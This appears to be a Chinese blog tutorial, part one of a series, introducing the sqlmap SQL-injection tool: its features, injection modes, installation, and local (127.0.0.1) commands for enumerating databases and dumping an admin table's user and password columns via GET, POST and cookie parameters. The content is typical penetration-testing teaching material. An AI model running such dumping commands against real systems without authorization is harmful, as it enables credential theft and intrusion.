SQLMAP从入门到精通——第一节

2020-03-06 11:09:09 浏览数 (1)

一、Sqlmap简介

Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

二、Sqlmap功能

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

·完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

· 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

·在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

·支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。

·支持自动识别密码哈希格式并通过字典破解密码哈希。

·支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。

·支持在数据库管理系统中搜索指定的数据库名、表名或列名

·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。

·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

三、Sqlmap原理图

四、注入模式

1.基于布尔的盲注,既可以根据返回页面判断条件真假的注入。

2.基于时间的盲注,既不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语 句是否执行(既页面返回时间是否增加)来判断。

3.基于报错注入,既页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4.联合查询注入,可以使用union的情况下的注入。

5.堆查询注入,可以同时执行多条语句的执行时的注入。

五、Sqlmap安装

代码语言:javascript复制
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

六、基本使用方法:

GET

代码语言:javascript复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" 

测试该注入点是否能够进行注入

代码语言:javascript复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dbs  
对注入点进行注入,并导出数据库名

对database这个数据库进行表的猜测

代码语言:javascript复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database --tables 

对database下的admin表中字段进行猜测

代码语言:javascript复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin --columns  
代码语言:javascript复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin -C user,password --dump

对database下的admin表中user和password字段进行猜测并dump

POST

代码语言:javascript复制
python sqlmap.py -r header.txt
python sqlmap.py -r header.txt --dbs

-r是从一个文件中载入HTTP请求

其余都与GET一样将-u部分改成-r

header.txt(请求头可通过抓包获取)

代码语言:javascript复制
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
id=1

Cookie

代码语言:javascript复制
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1" --level=2

未完待续......

0 人点赞